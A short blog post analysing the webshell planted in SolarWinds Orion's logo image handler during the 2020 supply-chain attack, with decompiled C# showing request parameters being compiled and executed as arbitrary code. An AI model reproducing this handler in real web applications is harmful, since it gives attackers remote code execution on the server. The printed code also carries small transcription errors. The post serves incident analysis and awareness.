The Tale of a Webshell, ft. Solarwinds

The Tale of a Webshell, ft. Solarwinds

The backdoor wasn't the only thing that affected the Solarwinds Orion Platform in the 2020 hack

·

2 min read

On December 13 2020, SolarWinds' Orion Platform was revealed to have a backdoor in it’s development supply chain. Hundreds of US organizations from public companies to US Government Agencies that used the company's products were invaded by a state-level Advanced Persistent Threat (APT) organization.

Shortly after the disclosure, the C&C server of the hack began to be taken over and locked by Microsoft and other DNS providers, and the attackers seemed to be unable to control the affected SolarWinds server through the C&C. The response was swift, but some in the research community noted that the attack not only created a backdoor, but also a webshell embedded inside of the rogue update.

Screen Shot 2022-04-08 at 15.33.57.png

Fig 1.1 On the bottom-right corner exist a Solarwinds logo, the function that was used to retrieve this image was exploited and turned into a webshell

The web console of the Solarwinds Orion Platform and web middleware such as IIS are seamlessly connected, so attackers can directly access the server from the external network. In this incident, the attacker implanted a Webshell backdoor component in the web console that was used to return the logo to the management platform webpage.

<tr>
    <td align ="left">
        <img src="/Orion/LogoImageHandler.ashx?f=logo&id=SitelogoImage&time="637438058142430000" alt="" class="sw-origin">
    </td>
    <td id="userName">
    </td>
</td>
The backdoor code here adds four additional HTTP request parameters; codes, clazz, method, and args to the original file.

// LogoImageHandler
// Token: 0x06000002 RID: 2 RVA: 0x00002054 File Offset : 0x00000254
public void ProcessRequest(HttpContext context)
{
    try
    {
        string codes = context.Request["codes"];
        string clazz = context.Request["clazz"];
        string method = context.Request["method"];
        string[] args = context.Request["args"].Split(new char[]
        {
            '\n'
        });
        context.Response.ContentType = "text/plain";
        context.Response.Write(this.DynamicRun(codes, clazz, method, args));
    }
    catch (Exception)
    {
    }
    NameValueCollection nameValueCollection = HttpUtility.ParseQueryString(context.Request)
    try
    {
        string a = nameValueCollection["id"];
        string s;
        if (!(a == "SitelogoImage"))

Any custom code passed in by an attacker through an HTTP request will eventually be compiled and executed by the webshell code.

public string DynamicRun(string codes, string clazz, string method, string [] args)
{
    CompilerResults compilerResults = new CSharpCodeProvider().CreateCompiler().CompileAssemblyFromSource(new Compiler Parameters
    {
        ReferencedAssemblies =
        {
            "System.dll",
            "System.ServiceModel.dll",
            "System.Data.dll",
            "System.Runtime.dll"
        },
        GenerateExecutable = false,
        GenerateInMemory = true
    }, codes);
    if (compilerResults.Errors.HasErrors)
    {
        string.Join(Environment.NewLine, from CompilerError err in compilerResults.Errors
        select err.ErrorText);
        Console.WriteLine("error");
        return compilerResults.Error.ToString();
    }
    object obj = compilerResults.CompiledAssembly.CreateInstance(clazz);
    return (string)obj.GetType().GetMethod(method).Invoke(obj, args);
}

In my opinion with the increasing prevalence of supply chain attacks, from stolen private keys to dependency confusion, we are seeing a brand new vector of attack for amateur hacking groups to APTs. Supply chain based attacks will be something we in the community need to look out for in the future as it becomes more common.